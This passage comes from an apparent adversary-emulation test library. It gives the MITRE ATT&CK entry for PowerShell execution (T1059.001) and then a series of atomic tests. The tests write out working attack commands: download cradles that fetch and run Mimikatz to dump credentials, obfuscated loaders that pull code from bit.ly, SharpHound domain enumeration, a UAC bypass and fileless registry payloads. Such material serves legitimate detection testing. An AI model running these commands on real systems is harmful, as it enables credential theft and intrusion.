- "created": "2020-03-09T13:48:55.078Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1059.001",
- "url": "https://attack.mitre.org/techniques/T1059/001"
- },
- {
- "source_name": "Microsoft PSfromCsharp APR 2014",
- "url": "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/",
- "description": "Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019."
- },
- {
- "source_name": "SilentBreak Offensive PS Dec 2015",
- "url": "https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/",
- "description": "Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018."
- },
- {
- "source_name": "FireEye PowerShell Logging 2016",
- "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html",
- "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016."
- },
- {
- "source_name": "Github PSAttack",
- "url": "https://github.com/jaredhaight/PSAttack",
- "description": "Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016."
- },
- {
- "source_name": "inv_ps_attacks",
- "url": "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/",
- "description": "Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021."
- },
- {
- "source_name": "Malware Archaeology PowerShell Cheat Sheet",
- "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf",
- "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016."
- },
- {
- "source_name": "TechNet PowerShell",
- "url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx",
- "description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016."
- },
- {
- "source_name": "Sixdub PowerPick Jan 2016",
- "url": "http://www.sixdub.net/?p=367",
- "description": "Warner, J.. (2015, January 6). Inexorable PowerShell \u2013 A Red Teamer\u2019s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process
cmdlet which can be used to run an executable and the Invoke-Command
cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe
binary through interfaces to PowerShell's underlying System.Management.Automation
assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)",
- "modified": "2022-04-19T20:25:48.646Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Command and Scripting Interpreter: PowerShell",
- "x_mitre_detection": "If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nConsider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the EngineVersion
field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the HostName
field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Module: Module Load",
- "Process: Process Creation",
- "Script: Script Execution",
- "Process: Process Metadata",
- "Command: Command Execution"
- ],
- "x_mitre_remote_support": true,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1059.001"
- },
- "atomic_tests": [
- {
- "name": "Mimikatz",
- "auto_generated_guid": "f3132740-55bc-48c4-bcc0-758a459cd027",
- "description": "Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "mimurl": {
- "description": "Mimikatz url",
- "type": "url",
- "default": "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1"
- }
- },
- "executor": {
- "command": "powershell.exe \"IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds\"\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Run BloodHound from local disk",
- "auto_generated_guid": "a21bb23e-e677-4ee7-af90-6931b57b6350",
- "description": "Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur.\n\nSuccessful execution will produce stdout message stating \"SharpHound Enumeration Completed\". Upon completion, final output will be a *BloodHound.zip file.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_path": {
- "description": "File path for SharpHound payload",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1059.001\\src"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "SharpHound.ps1 must be located at #{file_path}\n",
- "prereq_command": "if (Test-Path #{file_path}\\SharpHound.ps1) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1\" -OutFile \"#{file_path}\\SharpHound.ps1\"\n"
- }
- ],
- "executor": {
- "command": "write-host \"Import and Execution of SharpHound.ps1 from #{file_path}\" -ForegroundColor Cyan\nimport-module #{file_path}\\SharpHound.ps1\nInvoke-BloodHound -OutputDirectory $env:Temp\nStart-Sleep 5\n",
- "cleanup_command": "Remove-Item $env:Temp\\*BloodHound.zip -Force\n",
- "name": "powershell"
- }
- },
- {
- "name": "Run Bloodhound from Memory using Download Cradle",
- "auto_generated_guid": "bf8c1441-4674-4dab-8e4e-39d93d08f9b7",
- "description": "Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur.\n\nSuccessful execution will produce stdout message stating \"SharpHound Enumeration Completed\". Upon completion, final output will be a *BloodHound.zip file.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "write-host \"Remote download of SharpHound.ps1 into memory, followed by execution of the script\" -ForegroundColor Cyan\nIEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');\nInvoke-BloodHound -OutputDirectory $env:Temp\nStart-Sleep 5\n",
- "cleanup_command": "Remove-Item $env:Temp\\*BloodHound.zip -Force\n",
- "name": "powershell"
- }
- },
- {
- "name": "Obfuscation Tests",
- "auto_generated_guid": "4297c41a-8168-4138-972d-01f3ee92c804",
- "description": "Different obfuscated methods to test. Upon execution, reaches out to bit.ly/L3g1t and displays: \"SUCCESSFULLY EXECUTED POWERSHELL CODE FROM REMOTE LOCATION\"\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "(New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_})))\n(New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');[ScriptBlock]::Create((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_}))).InvokeReturnAsIs()\nSet-Variable HJ1 'http://bit.ly/L3g1tCrad1e';SI Variable:/0W 'Net.WebClient';Set-Item Variable:\\gH 'Default_File_Path.ps1';ls _-*;Set-Variable igZ (.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|?{$_.Name-like'*Cm*t'}).Name).Invoke($ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand|GM|?{$_.Name-like'*om*e'}).Name).Invoke('*w-*ct',$TRUE,1))(Get-ChildItem Variable:0W).Value);Set-Variable J ((((Get-Variable igZ -ValueOn)|GM)|?{$_.Name-like'*w*i*le'}).Name);(Get-Variable igZ -ValueOn).((ChildItem Variable:J).Value).Invoke((Get-Item Variable:/HJ1).Value,(GV gH).Value);&( ''.IsNormalized.ToString()[13,15,48]-Join'')(-Join([Char[]](CAT -Enco 3 (GV gH).Value)))\n",
- "name": "powershell"
- }
- },
- {
- "name": "Mimikatz - Cradlecraft PsSendKeys",
- "auto_generated_guid": "af1800cf-9f9d-4fd1-a709-14b1e6de020d",
- "description": "Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\\Software\\Microsoft\\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Invoke-AppPathBypass",
- "auto_generated_guid": "06a220b6-7e29-4bd8-9d07-5b4d86742372",
- "description": "Note: Windows 10 only. Upon execution windows backup and restore window will be opened.\n\nBypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Powershell.exe \"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\\Windows\\System32\\cmd.exe'\"\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Powershell MsXml COM object - with prompt",
- "auto_generated_guid": "388a7340-dbc1-4c9d-8e59-b75ad8c6d5da",
- "description": "Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, \"Download Cradle test success!\" will be displayed.\n\nProvided by https://github.com/mgreen27/mgreen27.github.io\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "url": {
- "description": "url of payload to execute",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.ps1"
- }
- },
- "executor": {
- "command": "powershell.exe -exec bypass -noprofile \"$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText\"\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Powershell XML requests",
- "auto_generated_guid": "4396927f-e503-427b-b023-31049b9b09a6",
- "description": "Powershell xml download request. Upon execution, \"Download Cradle test success!\" will be dispalyed.\n\nProvided by https://github.com/mgreen27/mgreen27.github.io\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "url": {
- "description": "url of payload to execute",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.xml"
- }
- },
- "executor": {
- "command": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -exec bypass -noprofile \"$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX\"\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Powershell invoke mshta.exe download",
- "auto_generated_guid": "8a2ad40b-12c7-4b25-8521-2737b0a415af",
- "description": "Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display \"Download Cradle test success!\".\n\nProvided by https://github.com/mgreen27/mgreen27.github.io\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "url": {
- "description": "url of payload to execute",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/mshta.sct"
- }
- },
- "executor": {
- "command": "C:\\Windows\\system32\\cmd.exe /c \"mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()\"\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Powershell Invoke-DownloadCradle",
- "auto_generated_guid": "cc50fa2a-a4be-42af-a88f-e347ba0bf4d7",
- "description": "Provided by https://github.com/mgreen27/mgreen27.github.io\nInvoke-DownloadCradle is used to generate Network and Endpoint artifacts.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "steps": "1. Open Powershell_ise as a Privileged Account\n2. Invoke-DownloadCradle.ps1\n",
- "name": "manual"
- }
- },
- {
- "name": "PowerShell Fileless Script Execution",
- "auto_generated_guid": "fa050f5e-bc75-4230-af73-b6fd7852cd73",
- "description": "Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open \"C:\\Windows\\Temp\" and verify that\nart-marker.txt is in the folder.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "# Encoded payload in next command is the following \"Set-Content -path \"$env:SystemRoot/Temp/art-marker.txt\" -value \"Hello from the Atomic Red Team\"\"\nreg.exe add \"HKEY_CURRENT_USER\\Software\\Classes\\AtomicRedTeam\" /v ART /t REG_SZ /d \"U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=\"\niex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\\Software\\Classes\\AtomicRedTeam').ART)))\n",
- "cleanup_command": "Remove-Item -path C:\\Windows\\Temp\\art-marker.txt -Force -ErrorAction Ignore\nRemove-Item HKCU:\\Software\\Classes\\AtomicRedTeam -Force -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "PowerShell Downgrade Attack",
- "auto_generated_guid": "9148e7c4-9356-420e-a416-e896e9c0f73e",
- "description": "This test requires the manual installation of PowerShell V2.\n\nAttempts to run powershell commands in version 2.0 https://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/\n",
- "supported_platforms": [
- "windows"
- ],
- "dependencies": [
- {
- "description": "PowerShell version 2 must be installed\n",
- "prereq_command": "if(2 -in $PSVersionTable.PSCompatibleVersions.Major) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Write-Host Automated installer not implemented yet, please install PowerShell v2 manually\n"
- }
- ],
- "executor": {
- "command": "powershell.exe -version 2 -Command Write-Host $PSVersion\n",
- "name": "powershell"
- }
- },
- {
- "name": "NTFS Alternate Data Stream Access",
- "auto_generated_guid": "8e5c5532-1181-4c1d-bb79-b3a9f5dbd680",
- "description": "Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, \"Stream Data Executed\" will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "ads_file": {
- "description": "File created to store Alternate Stream Data",
- "type": "string",
- "default": "$env:TEMP\\NTFS_ADS.txt"
- }
- },
- "dependencies": [
- {
- "description": "Homedrive must be an NTFS drive\n",
- "prereq_command": "if((Get-Volume -DriveLetter $env:HOMEDRIVE[0]).FileSystem -contains \"NTFS\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Write-Host Prereq's for this test cannot be met automatically\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "command": "Add-Content -Path #{ads_file} -Value 'Write-Host \"Stream Data Executed\"' -Stream 'streamCommand'\n$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'\nInvoke-Expression $streamcommand\n",
- "cleanup_command": "Remove-Item #{ads_file} -Force -ErrorAction Ignore\n"
- }
- },
- {
- "name": "PowerShell Session Creation and Use",
- "auto_generated_guid": "7c1acec2-78fa-4305-a3e0-db2a54cddecd",
- "description": "Connect to a remote powershell session and interact with the host.\nUpon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "hostname_to_connect": {
- "description": "The host to connect to, by default it will connect to the local machine",
- "type": "string",
- "default": "$env:COMPUTERNAME"
- }
- },
- "dependencies": [
- {
- "description": "PSRemoting must be enabled\n",
- "prereq_command": "Try {\n New-PSSession -ComputerName #{hostname_to_connect} -ErrorAction Stop | Out-Null\n exit 0\n} \nCatch {\n exit 1\n}\n",
- "get_prereq_command": "Enable-PSRemoting\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": true,
- "command": "New-PSSession -ComputerName #{hostname_to_connect}\nTest-Connection $env:COMPUTERNAME\nSet-Content -Path $env:TEMP\\T1086_PowerShell_Session_Creation_and_Use -Value \"T1086 PowerShell Session Creation and Use\"\nGet-Content -Path $env:TEMP\\T1086_PowerShell_Session_Creation_and_Use\nRemove-Item -Force $env:TEMP\\T1086_PowerShell_Session_Creation_and_Use\n"
- }
- },
- {
- "name": "ATHPowerShellCommandLineParameter -Command parameter variations",
- "auto_generated_guid": "686a9785-f99b-41d4-90df-66ed515f81d7",
- "description": "Executes powershell.exe with variations of the -Command parameter",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "command_line_switch_type": {
- "description": "The type of supported command-line switch to use",
- "type": "string",
- "default": "Hyphen"
- },
- "command_param_variation": {
- "description": "The \"Command\" parameter variation to use",
- "type": "string",
- "default": "C"
- }
- },
- "dependencies": [
- {
- "description": "The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.",
- "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}",
- "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n"
- }
- ],
- "executor": {
- "command": "Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop",
- "name": "powershell"
- }
- },
- {
- "name": "ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments",
- "auto_generated_guid": "1c0a870f-dc74-49cf-9afc-eccc45e58790",
- "description": "Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "command_line_switch_type": {
- "description": "The type of supported command-line switch to use",
- "type": "string",
- "default": "Hyphen"
- },
- "command_param_variation": {
- "description": "The \"Command\" parameter variation to use",
- "type": "string",
- "default": "C"
- },
- "encoded_arguments_param_variation": {
- "description": "The \"EncodedArguments\" parameter variation to use",
- "type": "string",
- "default": "EA"
- }
- },
- "dependencies": [
- {
- "description": "The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.",
- "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}",
- "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n"
- }
- ],
- "executor": {
- "command": "Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop",
- "name": "powershell"
- }
- },
- {
- "name": "ATHPowerShellCommandLineParameter -EncodedCommand parameter variations",
- "auto_generated_guid": "86a43bad-12e3-4e85-b97c-4d5cf25b95c3",
- "description": "Executes powershell.exe with variations of the -EncodedCommand parameter",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "command_line_switch_type": {
- "description": "The type of supported command-line switch to use",
- "type": "string",
- "default": "Hyphen"
- },
- "encoded_command_param_variation": {
- "description": "The \"EncodedCommand\" parameter variation to use",
- "type": "string",
- "default": "E"
- }
- },
- "dependencies": [
- {
- "description": "The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.",
- "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}",
- "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n"
- }
- ],
- "executor": {
- "command": "Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop",
- "name": "powershell"
- }
- },
- {
- "name": "ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments",
- "auto_generated_guid": "0d181431-ddf3-4826-8055-2dbf63ae848b",
- "description": "Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "encoded_command_param_variation": {
- "description": "The \"EncodedCommand\" parameter variation to use",
- "type": "string",
- "default": "E"
- },
- "command_line_switch_type": {
- "description": "The type of supported command-line switch to use",
- "type": "string",
- "default": "Hyphen"
- },
- "encoded_arguments_param_variation": {
- "description": "The \"EncodedArguments\" parameter variation to use",
- "type": "string",
- "default": "EncodedArguments"
- }
- },
- "dependencies": [
- {
- "description": "The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.",
- "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}",
- "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n"
- }
- ],
- "executor": {
- "command": "Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop",
- "name": "powershell"
- }
- },
- {
- "name": "PowerShell Command Execution",
- "auto_generated_guid": "a538de64-1c74-46ed-aa60-b995ed302598",
- "description": "Use of obfuscated PowerShell to execute an arbitrary command; outputs \"Hello, from PowerShell!\". Example is from the 2021 Threat Detection Report by Red Canary.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "obfuscated_code": {
- "description": "Defaults to: Invoke-Expression with a \"Write-Host\" line.",
- "type": "string",
- "default": "JgAgACgAZwBjAG0AIAAoACcAaQBlAHsAMAB9ACcAIAAtAGYAIAAnAHgAJwApACkAIAAoACIAVwByACIAKwAiAGkAdAAiACsAIgBlAC0ASAAiACsAIgBvAHMAdAAgACcASAAiACsAIgBlAGwAIgArACIAbABvACwAIABmAHIAIgArACIAbwBtACAAUAAiACsAIgBvAHcAIgArACIAZQByAFMAIgArACIAaAAiACsAIgBlAGwAbAAhACcAIgApAA=="
- }
- },
- "executor": {
- "command": "powershell.exe -e #{obfuscated_code}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "PowerShell Invoke Known Malicious Cmdlets",
- "auto_generated_guid": "49eb9404-5e0f-4031-a179-b40f7be385e3",
- "description": "Powershell execution of known Malicious PowerShell Cmdlets",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "Malicious_cmdlets": {
- "description": "Known Malicious Cmdlets",
- "type": "string",
- "default": "\"Add-Persistence\", \"Find-AVSignature\", \"Get-GPPAutologon\", \"Get-GPPPassword\", \"Get-HttpStatus\", \"Get-Keystrokes\", \"Get-SecurityPackages\", \"Get-TimedScreenshot\", \"Get-VaultCredential\", \"Get-VolumeShadowCopy\", \"Install-SSP\", \"Invoke-CredentialInjection\", \"Invoke-DllInjection\", \"Invoke-Mimikatz\", \"Invoke-NinjaCopy\", \"Invoke-Portscan\", \"Invoke-ReflectivePEInjection\", \"Invoke-ReverseDnsLookup\", \"Invoke-Shellcode\", \"Invoke-TokenManipulation\", \"Invoke-WmiCommand\", \"Mount-VolumeShadowCopy\", \"New-ElevatedPersistenceOption\", \"New-UserPersistenceOption\", \"New-VolumeShadowCopy\", \"Out-CompressedDll\", \"Out-EncodedCommand\", \"Out-EncryptedScript\", \"Out-Minidump\", \"PowerUp\", \"PowerView\", \"Remove-Comments\", \"Remove-VolumeShadowCopy\", \"Set-CriticalProcess\", \"Set-MasterBootRecord\"\n"
- }
- },
- "executor": {
- "name": "powershell",
- "elevation_required": true,
- "command": "$malcmdlets = #{Malicious_cmdlets}\nforeach ($cmdlets in $malcmdlets) {\n \"function $cmdlets { Write-Host Pretending to invoke $cmdlets }\"}\nforeach ($cmdlets in $malcmdlets) {\n $cmdlets}\n"
- }
- },
- {
- "name": "PowerUp Invoke-AllChecks",
- "auto_generated_guid": "1289f78d-22d2-4590-ac76-166737e1811b",
- "description": "Check for privilege escalation paths using PowerUp from PowerShellMafia\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\nInvoke-AllChecks\n",
- "name": "powershell"
- }
- },
- {
- "name": "Abuse Nslookup with DNS Records",
- "auto_generated_guid": "999bff6d-dc15-44c9-9f5c-e1051bfc86e1",
- "description": "Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts.\n[reference](https://twitter.com/jstrosch/status/1237382986557001729)\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "# creating a custom nslookup function that will indeed call nslookup but forces the result to be \"whoami\"\n# this would not be part of a real attack but helpful for this simulation\nfunction nslookup { &\"$env:windir\\system32\\nslookup.exe\" @args | Out-Null; @(\"\",\"whoami\")}\npowershell .(nslookup -q=txt example.com 8.8.8.8)[-1]\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1170": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Ricardo Dias",
- "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1170",
